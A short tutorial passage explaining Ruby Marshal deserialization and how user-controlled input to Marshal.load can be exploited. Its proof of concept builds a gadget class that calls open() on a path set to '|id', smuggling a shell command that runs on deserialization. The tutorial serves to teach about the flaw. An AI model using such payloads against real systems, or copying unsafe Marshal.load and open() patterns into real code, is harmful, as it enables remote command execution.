Ruby uses the
Marshal library to serialize and unserialize objects. For example, the following script creates an instance of the object
User, serializes it, and then prints the string representation of the object.
User = Struct.new(:name, :role) user = User.new('Mike', :admin) puts Marshal.dump(user).inspect # Prints the following string representation: # "\x04\bS:\tUser\a:\tnameI\"\tMike\x06:\x06ET:\trole:\nadmin"
The string representation can then be deserialized again to recreate the object instance and access its attributes.
user = Marshal.load("\x04\bS:\tUser\a:\tnameI\"\tMike\x06:\x06ET:\trole:\nadmin") print(user.name); # It prints the following string: # Mike
The exploitation of deserialization in Ruby happens when user-controlled input is passed as the first argument of the
To be exploitable, the vulnerable piece of code must have enough Ruby code in scope to build a gadget chain, which means a chain of reusable code that causes a meaningful impact when invoked.
For example, assume that
Marshal.load() deserializes user-provided data. An attacker could craft a malicious payload like the following one, which abuses an existing class to execute a command when deserialized.
class FSResource def initialize path @path = path end def to_s open(@path).read end end # Craft the payload to execute `id` via the `open` function instead of opening a file obj = FSResource.new('|id') payload = Marshal.dump(obj) # Unserializing the payload allows to execute arbitrary commands serialized_obj = Marshal.load(payload) puts serialized_obj # It prints the output of id: # uid=1002(admin) gid=1002(admin) groups=1002(admin)